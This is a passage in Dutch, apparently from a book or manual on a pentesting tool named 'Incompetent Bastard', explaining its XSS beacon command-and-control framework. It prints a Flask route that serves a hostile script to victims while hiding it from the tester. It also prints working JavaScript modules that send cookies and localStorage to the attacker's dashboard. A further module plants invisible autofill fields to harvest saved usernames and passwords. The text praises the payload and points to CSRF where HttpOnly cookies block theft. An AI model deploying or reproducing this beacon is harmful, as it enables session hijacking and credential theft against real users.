6. Authenticated content scraping – data lezen waar het slachtoffer bij kan

De twee tips onderaan het bestand zijn cruciaal:

1. Gebruik de /x.js beacon van het IB lab voor automatische hooking (daar gaan we zo uitgebreid op in)
2. HttpOnly cookies zijn niet via JavaScript te lezen – gebruik dan CSRF als alternatieve aanvalsvector

4.7 Het IB XSS Beacon Lab: je eigen command and control

Nu komen we bij het hart van dit hoofdstuk. Het onderdeel waar Incompetent Bastard echt laat zien waar het voor staat. Vergeet die simpele alert(1) demo’s – we gaan het hebben over een volledig operationeel XSS command and control framework, ingebouwd in de applicatie.

Waar andere tools je een payload laten genereren en je dan aan je lot overlaten, biedt IB een compleet dashboard voor het beheren van gehoekte browsers. Het is als het verschil tussen een hengel en een vissersboot met sonar: je kunt met allebei vissen, maar de een is duidelijk effectiever.

4.7.1 Architectuur: hoe de beacon werkt

Het XSS beacon systeem bestaat uit drie componenten:

1. De beacon JavaScript (/x.js of /xxs.js) – dit is het script dat je injecteert via een XSS-kwetsbaarheid
2. De callback endpoints – Flask routes die data ontvangen en opslaan
3. Het dashboard (/dashboard/xxs) – een webinterface om alles te bekijken en te beheren

De hele architectuur zit in de xxs_bp blueprint (meuk/flask/xxs.py) met bijbehorende database modellen in meuk/flask/models.py.

De blueprint registratie:

xxs_bp = Blueprint('xxs_bp', __name__,
                    template_folder='html',
                    static_folder='static')

4.7.2 De beacon: /x.js

Wanneer een slachtoffer een pagina bezoekt met een XSS-kwetsbaarheid waar de beacon is geinjekteerd, wordt /x.js geladen. Dit bestand is geen statisch JavaScript-bestand – het is een Flask route die dynamisch JavaScript genereert.

@xxs_bp.route("/x.js", methods=["GET","POST"])
@xxs_bp.route("/xxs.js", methods=["GET", "POST"])
def xss_hooked():
    ip = request.remote_addr
    if ip != appdata.ikzelf:
        ua = request.headers.get('User-Agent')
        loc = request.headers.get('Referer')
        md5 = hashlib.md5(str(ip+ua).encode())
        hebben = db_xxs_cookies.query.filter_by(
            ip=ip, agent=ua, md5=md5.hexdigest()
        ).first()
        if hebben == None:
            bevdb = db_xxs_hooked(
                ip=ip, agent=ua, md5=md5.hexdigest()
            )
            db.session.add(bevdb)
            db.session.commit()
        pagina = render_template('xss.html',
                                 localhost=appdata.localhost)
    else:
        pagina = render_template('xss-blanco.html',
                                 localhost=appdata.localhost)

    return pagina, 200, {
        'Content-Type': 'text/javascript',
        'Cache-Control': 'no-cache, no-store, must-revalidate',
        'Pragma': 'no-cache',
        'Expires': '0'
    }

Laten we dit stap voor stap ontleden.

Stap 1: Zelfherkenning. De route controleert of het verzoek komt van appdata.ikzelf – het IP-adres van de pentester zelf. Als jij je eigen beacon opvraagt, krijg je xss-blanco.html terug, dat gewoon alert(document.cookie) doet. Een handige test-modus. Als het verzoek van iemand anders komt – een slachtoffer – krijgt die het echte, kwaadaardige script.

Dit is een slim detail. Je wilt niet dat je eigen browser wordt gehoekt terwijl je aan het testen bent. Incompetent Bastard weet wie je bent en gedraagt zich anders.

Stap 2: Registratie. De route maakt een MD5-hash van het IP-adres plus de User- Agent string. Als die combinatie nog niet in de database staat, wordt er een nieuw db_xxs_hooked record aangemaakt. Het slachtoffer is nu “gehoekt” – geregistreerd als een actieve client.

Stap 3: Payload delivery. Het script dat wordt teruggestuurd is de xss.html template, maar met Content-Type: text/javascript – zodat de browser het als JavaScript interpreteert, niet als HTML. De anti-cache headers zorgen ervoor dat de browser het script elke keer opnieuw ophaalt, zodat updates in het script direct effect hebben.

4.7.3 Wat de beacon doet: het JavaScript

De daadwerkelijke beacon JavaScript (uit xss.html) is een meesterwerk van efficiëntie. In vijftig regels code doet het alles wat je nodig hebt:

Module 1 – Cookie harvesting:

var i = new Image;
i.src = "{{localhost}}/xxs/cookies?data=" + document.cookie;

Zodra het script laadt, stuurt het alle cookies naar het IB-dashboard. De Image truc is oud maar betrouwbaar – het werkt zelfs als CORS de fetch API blokkeert, want afbeeldingsverzoeken zijn niet gebonden aan het same-origin beleid.

Module 2 – localStorage exfiltratie:

let data = JSON.stringify(localStorage);
let encodedData = encodeURIComponent(data);
fetch("{{localhost}}/xxs/localstorage?data=" + encodedData);

Alles wat de applicatie heeft opgeslagen in localStorage wordt geserialiseerd naar JSON, URL-geencodeerd, en naar het dashboard gestuurd. Tokens, voorkeuren, gecachte data – alles.

Module 3 – Autocomplete credential harvesting:

var u = document.createElement("input");
u.type = "text";
u.autocomplete = "on";
u.style.position = "fixed";
u.style.opacity = "0";

var p = document.createElement("input");
p.type = "password";
p.autocomplete = "on";
p.style.position = "fixed";
p.style.opacity = "0";

body.append(u);
body.append(p);
setTimeout(function() {
  fetch("{{localhost}}/xxs/gebruiker?u=" + u.value +
        "&p=" + p.value)
}, 5000);